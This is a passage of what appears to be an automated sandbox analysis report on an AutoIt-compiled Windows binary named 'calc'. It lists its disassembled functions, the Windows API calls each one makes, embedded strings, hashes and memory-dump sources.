      • Opcode Fuzzy Hash: b3dee8c5c33cc5a5e27d9d6878bb93dc215f6f67bec1131d5dbaf3b8734b53b9
      • Instruction Fuzzy Hash: 3831FE71D44319BADF119BB69C89CAFBEBCEF45B50B10042BB108E7191DAB89801CE65
      Function 0040667C Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 279windowtimeCOMMON
      Download Yara Rule
      APIs
      • GetWindowRect.USER32(?,?), ref: 00406756
      • GetClientRect.USER32(?,?), ref: 00406763
      • GetSystemMetrics.USER32(00000007), ref: 0040676B
      • GetSystemMetrics.USER32(00000008), ref: 00406775
      • GetSystemMetrics.USER32(00000004), ref: 0040677C
      • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 004067B7
      • GetSystemMetrics.USER32(00000007), ref: 004067BF
      • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 004067E4
      • GetSystemMetrics.USER32(00000008), ref: 004067EC
      • GetSystemMetrics.USER32(00000004), ref: 0040680B
      • SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00406822
      • AdjustWindowRectEx.USER32(000000FF,000000FF,00000000,000000FF), ref: 00406833
      • CreateWindowExW.USER32(000000FF,AutoIt v3 GUI,?,000000FF,000000FF,000000FF,000000FF,000000FF,?,00000000,?,00000000), ref: 00406866
      • GetSysColorBrush.USER32(0000000F), ref: 00406889
      • SetClassLongW.USER32(00000000,000000F6,00000000), ref: 00406894
      • GetStockObject.GDI32(00000011), ref: 0040689D
      • SendMessageW.USER32(00000000,00000030,00000000), ref: 004068A8
        • Part of subcall function 00405E8E: GetCursorPos.USER32(?), ref: 00405E9B
        • Part of subcall function 00405E8E: ScreenToClient.USER32(?,?), ref: 00405EB8
        • Part of subcall function 00405E8E: GetAsyncKeyState.USER32(00000001), ref: 00405EFB
        • Part of subcall function 00405E8E: GetKeyState.USER32(00000001), ref: 00405F09
        • Part of subcall function 00405E8E: GetAsyncKeyState.USER32(00000002), ref: 00405F23
        • Part of subcall function 00405E8E: GetKeyState.USER32(00000002), ref: 00405F2C
      • SetTimer.USER32(00000000,00000002,00000028,0040D302), ref: 004069AE
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: System$Metrics$RectState$Window$AsyncClientInfoParameters$AdjustBrushClassColorCreateCursorLongMessageObjectScreenSendStockTimer
      • String ID: @$AutoIt v3 GUI
      • API String ID: 1855594723-3359773793
      • Opcode ID: ed0fa0f3a7f5624e9a70382f54bd6e91281dbcd9423c2e20f3a68b4aaacbdfbb
      • Instruction ID: 514e7c4c687a5ce374bb04586ee4052b998ddc7ec21dd9060e496e987db54609
      • Opcode Fuzzy Hash: ed0fa0f3a7f5624e9a70382f54bd6e91281dbcd9423c2e20f3a68b4aaacbdfbb
      • Instruction Fuzzy Hash: 09C149B1900249DFDF11CF69C884ADA7FB4AF59314F05027AEE19AB296D7748890CF68
      Function 0040A09F Relevance: 33.4, APIs: 22, Instructions: 439windowCOMMON
      Download Yara Rule
      APIs
      • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013,?,?,?), ref: 0040A134
      • SendMessageW.USER32(?,0000113F,00000000,?), ref: 0040A1D9
      • SendMessageW.USER32(?,00001102,00000002,?), ref: 0040A1EE
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessageSend$Window
      • String ID:
      • API String ID: 2326795674-0
      • Opcode ID: 30ae90ada34b8915fe5d48397d56539aa5b534ff0d9fec3e80aeb03df8ee1511
      • Instruction ID: 1ccb3f83f87ebe80ca020bc58a8cdf7a85d923699afa6deb09b0e52051601b14
      • Opcode Fuzzy Hash: 30ae90ada34b8915fe5d48397d56539aa5b534ff0d9fec3e80aeb03df8ee1511
      • Instruction Fuzzy Hash: 4A028171504348ABEF21CF24CD85BE93BE0AF09354F28416AFD61AA2E2D378DC55DB49
      Function 00441086 Relevance: 31.8, APIs: 16, Strings: 2, Instructions: 348windowCOMMON
      Download Yara Rule
      APIs
      • GetCursorPos.USER32(?), ref: 004411F0
      • GetDesktopWindow.USER32 ref: 00441202
      • GetWindowRect.USER32(00000000), ref: 00441209
      • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 004412E5
      • SendMessageW.USER32(00000000,00000432,00000000), ref: 00441302
      • SendMessageW.USER32(?,00000439,00000000), ref: 00441326
      • SendMessageW.USER32(?,00000421,?,?), ref: 00441339
      • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 0044134C
      • IsWindowVisible.USER32(?), ref: 00441354
      • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 0044136F
      • SendMessageW.USER32(?,00000411,00000001,00000000), ref: 00441382
      • GetWindowRect.USER32(?,?), ref: 00441398
      • CopyRect.USER32(?,?), ref: 0044140C
      • FreeLibrary.KERNEL32(?), ref: 0044144C
      • FreeLibrary.KERNEL32(?), ref: 00441457
      • SendMessageW.USER32(?,00000412,00000000,?), ref: 00441478
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessageSend$Window$Rect$FreeLibrary$CopyCreateCursorDesktopVisible
      • String ID: tooltips_class32$#v
      • API String ID: 1377013427-694081394
      • Opcode ID: 43c6dc1a8b3db3df7b7c2940e1ab202c272af0dccaaacba1c09e653d6df8d75a
      • Instruction ID: 08c47ab1ab3467a4e06423d45bef535535d0a513bd421b0415e228815a64da0f
      • Opcode Fuzzy Hash: 43c6dc1a8b3db3df7b7c2940e1ab202c272af0dccaaacba1c09e653d6df8d75a
      • Instruction Fuzzy Hash: ACD17870600248EFEF14DF69C988A9A7BA4FF09350F14816AF919D7661D778ECC4CB98
      Function 0040B005 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 205windowlibraryCOMMON
      Download Yara Rule
      APIs
      • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 0040B0B5
      • LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,?,00407B65,?,?,?), ref: 0040B0C7
      • LoadImageW.USER32(?,00000000,00000001,?,?,00000000), ref: 0040B0FD
      • LoadImageW.USER32(?,e{@,00000001,?,?,00000000), ref: 0040B11B
      • LoadImageW.USER32(00000000,e{@,00000001,?,?,00000000), ref: 0040B137
      • LoadImageW.USER32(?,00000000,00000001,?,?,00000000), ref: 0040B15E
      • FreeLibrary.KERNEL32(?), ref: 0040B16D
      • ExtractIconExW.SHELL32(?,e{@,00000000,?,00000001), ref: 0040B1B2
      • DestroyCursor.USER32(?), ref: 0040B1C0
      • SendMessageW.USER32(?,00000170,?,00000000), ref: 0040B1DF
      • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 0040B1ED
      • MoveWindow.USER32(?,?,?,?,?,00000001,?,?,00407B65,?,?,?), ref: 0040B208
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Load$Image$LibraryMessageSend$CursorDestroyExtractFreeIconMoveWindow
      • String ID: .dll$.exe$.icl$e{@$e{@$#v
      • API String ID: 1851087544-273524977
      • Opcode ID: f0c011a4a81bb99b9a90fc530ef8540607cced80a587fd92c96e883503bbf4b5
      • Instruction ID: d209de9e82884b2b1933e4d2be4e6672a96570fc34edf142eca6f664b014f0a1
      • Opcode Fuzzy Hash: f0c011a4a81bb99b9a90fc530ef8540607cced80a587fd92c96e883503bbf4b5
      • Instruction Fuzzy Hash: 2C618D72840219BEDB119FA4DC819BF7BBCEF08741F10806BF911E6181D7799E95CB98
      Function 0043BC56 Relevance: 26.7, APIs: 10, Strings: 5, Instructions: 448registryCOMMON
      Download Yara Rule
      APIs
      • RegConnectRegistryW.ADVAPI32(?,00000000,00000000), ref: 0043BD0B
      • RegCreateKeyExW.ADVAPI32(00000000,?,00000000,0045C6D0,00000000,?,00000000,?,?), ref: 0043BD4D
      • RegCloseKey.ADVAPI32(?), ref: 0043BD8C
      • RegCloseKey.ADVAPI32(0000000B), ref: 0043C0EA
      • RegCloseKey.ADVAPI32(?,00000000), ref: 0043C0FB
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Close$ConnectCreateRegistry
      • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_SZ
      • API String ID: 3641090821-2346799943
      • Opcode ID: 8cf315b22958215591c98de0ef14342ce1293641f5df6eb40e6edde85d215f73
      • Instruction ID: 4e5dcfff71b9e01845b74f9f44c6162979518723417988faa36490e585955599
      • Opcode Fuzzy Hash: 8cf315b22958215591c98de0ef14342ce1293641f5df6eb40e6edde85d215f73
      • Instruction Fuzzy Hash: 68F18035900114DBDF14EF55DC82A9AB374EF08324F29909BEA05AF252DB38ED81DBD9
      Function 0042A8FA Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 286COMMON
      Download Yara Rule
      APIs
        • Part of subcall function 0042FD05: LoadLibraryA.KERNEL32(Wininet.dll,0042A928), ref: 0042FD10
        • Part of subcall function 0042FD05: GetProcAddress.KERNEL32(00000000,InternetReadFile), ref: 0042FD22
      • FreeLibrary.KERNEL32(00000000), ref: 0042ACB4
        • Part of subcall function 0042B114: FreeLibrary.KERNEL32(00000000,?,00000003), ref: 0042B198
      • GetLastError.KERNEL32(00000002,00000000,00000002,?,?,?,?), ref: 0042A9E1
      • GetLastError.KERNEL32 ref: 0042AA56
      • FreeLibrary.KERNEL32(?), ref: 0042AA7A
      • FreeLibrary.KERNEL32(?), ref: 0042AA90
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Library$Free$ErrorLast$AddressLoadProc
      • String ID: #v
      • API String ID: 575660042-554117064
      • Opcode ID: 62498265a6ceed1723bdac64fc116e2428d419dead5935b9ceaf4d3a7e747648
      • Instruction ID: f38a0db017b7cb7883463efc0abb6f25cc167194d0c8d956c07354d1d99e9000
      • Opcode Fuzzy Hash: 62498265a6ceed1723bdac64fc116e2428d419dead5935b9ceaf4d3a7e747648
      • Instruction Fuzzy Hash: 64C17171A00229EFDF15DFA1D944ADEBBB9FF08304F504067E805A2211D7389E95CF9A
      Function 004530C8 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 117fileCOMMONLIBRARYCODE
      Download Yara Rule
      APIs
      • GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,00000000,00000000), ref: 0045314B
      • _strcat.LIBCMT ref: 0045315E
      • _strlen.LIBCMT ref: 0045316B
      • _strlen.LIBCMT ref: 0045317A
      • _strncpy.LIBCMT ref: 00453191
      • _strlen.LIBCMT ref: 0045319A
      • _strlen.LIBCMT ref: 004531A7
      • _strcat.LIBCMT ref: 004531C5
      • _strlen.LIBCMT ref: 0045320A
      • GetStdHandle.KERNEL32(000000F4,0045BF80,00000000,?,00000000,00000000,00000000,00000000), ref: 00453215
      • WriteFile.KERNEL32(00000000), ref: 0045321C
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: _strlen$File_strcat$HandleModuleNameWrite_strncpy
      • String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
      • API String ID: 3601721357-4022980321
      • Opcode ID: cce6ef7323223f5c36d370e3365a6b8dfc54963e81cf1e794ab88ca9dee6c464
      • Instruction ID: a6262fdefab13baafbc7e32f5453cb19c54bbfc7fce803c14b00e12ad1906f00
      • Opcode Fuzzy Hash: cce6ef7323223f5c36d370e3365a6b8dfc54963e81cf1e794ab88ca9dee6c464
      • Instruction Fuzzy Hash: CC310E72500604AAE724EF759C96EAF7368EB04346F20491FF811D3143DA79E948DB5D
      Function 004545BB Relevance: 26.3, APIs: 7, Strings: 8, Instructions: 99COMMONLIBRARYCODE
      Download Yara Rule
      APIs
      • GetModuleFileNameA.KERNEL32(00000000,?,00000104,0045C340,00000118,0044C951,00000001,00000000,0045B3B0,00000008,00453238), ref: 0045463F
      • _strcat.LIBCMT ref: 00454655
      • _strlen.LIBCMT ref: 00454665
      • _strlen.LIBCMT ref: 00454676
      • _strncpy.LIBCMT ref: 00454690
      • _strlen.LIBCMT ref: 00454699
      • _strcat.LIBCMT ref: 004546B5
      Strings
      • ..., xrefs: 0045468A
      • <program name unknown>, xrefs: 00454649
      • Program: , xrefs: 004546C6
      • Buffer overrun detected!, xrefs: 0045461B, 004546B3
      • Microsoft Visual C++ Runtime Library, xrefs: 004546F0
      • Unknown security failure detected!, xrefs: 00454605
      • A buffer overrun has been detected which has corrupted the program'sinternal state. The program cannot safely continue execution and mustnow be terminated., xrefs: 00454620
      • A security error of unknown cause has been detected which hascorrupted the program's internal state. The program cannot safelycontinue execution and must now be terminated., xrefs: 0045460A
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: _strlen$_strcat$FileModuleName_strncpy
      • String ID: ...$<program name unknown>$A buffer overrun has been detected which has corrupted the program'sinternal state. The program cannot safely continue execution and mustnow be terminated.$A security error of unknown cause has been detected which hascorrupted the program's internal state. The program cannot safelycontinue execution and must now be terminated.$Buffer overrun detected!$Microsoft Visual C++ Runtime Library$Program: $Unknown security failure detected!
      • API String ID: 3058806289-1010210193
      • Opcode ID: 7c6a0277e9c0f956f5106386100a7144fd3d0d8efe70c0ca049d5aaf753f3756
      • Instruction ID: 20cdc24c19fa16f92b1fdee65682d87b56783f751998074f5fad175280d1cb76
      • Opcode Fuzzy Hash: 7c6a0277e9c0f956f5106386100a7144fd3d0d8efe70c0ca049d5aaf753f3756
      • Instruction Fuzzy Hash: 9D31C4719006086FE710AB619C92F9F3768EB46319F10405BF800AA183DB7CEE59CB9D
      Function 0044C499 Relevance: 26.3, APIs: 8, Strings: 7, Instructions: 71libraryloadermemoryCOMMON
      Download Yara Rule
      APIs
      • GetModuleHandleA.KERNEL32(kernel32.dll,76230A60,00000000,0044BF78,?,0045B1B8,00000060), ref: 0044C4B1
      • GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 0044C4C9
      • GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 0044C4D6
      • GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 0044C4E3
      • GetProcAddress.KERNEL32(00000000,FlsFree), ref: 0044C4F0
      • FlsAlloc.KERNEL32(Function_0004C323,?,0045B1B8,00000060), ref: 0044C52D
      • FlsSetValue.KERNEL32(00000000,?,0045B1B8,00000060), ref: 0044C55A
      • GetCurrentThreadId.KERNEL32 ref: 0044C56E
        • Part of subcall function 0044C282: FlsFree.KERNEL32(00000005,0044C583,?,0045B1B8,00000060), ref: 0044C28D
        • Part of subcall function 0044C282: RtlDeleteCriticalSection.NTDLL(00000000), ref: 0044C5EC
        • Part of subcall function 0044C282: RtlDeleteCriticalSection.NTDLL(00000005), ref: 0044C616
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressProc$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue
      • String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$`#v$kernel32.dll$XF
      • API String ID: 2635119114-2005181762
      • Opcode ID: 6aab792099a48fd3b5fd67e313977c4f19e88fcfdac56340a8163f1b3c9300aa
      • Instruction ID: 5ef84d50a295475a9834f727cfda9a2385d3a30a7da8ed7b00238fe560ffcff3
      • Opcode Fuzzy Hash: 6aab792099a48fd3b5fd67e313977c4f19e88fcfdac56340a8163f1b3c9300aa
      • Instruction Fuzzy Hash: B421B630906711EA97509F7AAC8851A7EA4E741769714067BF818D3261EBB8D804CB5D
      Function 0040E543 Relevance: 25.7, APIs: 17, Instructions: 176windowtimeCOMMON
      Download Yara Rule
      APIs
      • LoadIconW.USER32(000000A1), ref: 0040E556
      • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 0040E568
      • SetWindowTextW.USER32(?,?), ref: 0040E579
      • GetDlgItem.USER32(?,000003EA), ref: 0040E592
      • SetWindowTextW.USER32(00000000,?), ref: 0040E598
      • GetDlgItem.USER32(?,000003E9), ref: 0040E5AD
      • SetWindowTextW.USER32(00000000,?), ref: 0040E5B3
      • SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 0040E5D7
      • SendDlgItemMessageW.USER32(?,000003E9,000000C5,?,00000000), ref: 0040E5EC
      • GetWindowRect.USER32(?,?), ref: 0040E5F5
      • SetWindowTextW.USER32(?,?), ref: 0040E673
      • GetDesktopWindow.USER32 ref: 0040E67D
      • GetWindowRect.USER32(00000000), ref: 0040E684
      • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 0040E6D0
      • GetClientRect.USER32(?,?), ref: 0040E6DD
      • PostMessageW.USER32(?,00000005,00000000,?), ref: 0040E702
      • SetTimer.USER32(?,0000040A,00000000,00000000), ref: 0040E733
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
      • String ID:
      • API String ID: 3869813825-0
      • Opcode ID: 518dddbba622dd82d7c493602ea365595f60099f1130438587eb39e9325378c9
      • Instruction ID: 311043bbe2a0cac2703a3cba35c520e36c28c6709c8c22dbd14506481d928203
      • Opcode Fuzzy Hash: 518dddbba622dd82d7c493602ea365595f60099f1130438587eb39e9325378c9
      • Instruction Fuzzy Hash: 18614C71A0061AFFDB019FAADD44AAEBBB9FF08305F004525E500B26A1D735ED65CF98
      Function 004404F4 Relevance: 24.9, APIs: 1, Strings: 13, Instructions: 400COMMON
      Download Yara Rule
      APIs
      • CharUpperBuffW.USER32(?,00000003), ref: 00440567
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: BuffCharUpper
      • String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
      • API String ID: 3964851224-719923060
      • Opcode ID: 361a3ca69b3397bcbd0af91930995ec628a7fb33d946420f52438878d1894f0c
      • Instruction ID: 91dec06f46bf67a56ffbca69d406a93361d98d2bcf5d6cb5d48021af8806dc55
      • Opcode Fuzzy Hash: 361a3ca69b3397bcbd0af91930995ec628a7fb33d946420f52438878d1894f0c
      • Instruction Fuzzy Hash: 77F1A135904204ABEF10EF51C881ADD77B0AF04324F15809BE9157B297CB7CEE95DB99
      Function 0040370F Relevance: 24.8, APIs: 6, Strings: 8, Instructions: 297COMMON
      Download Yara Rule
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
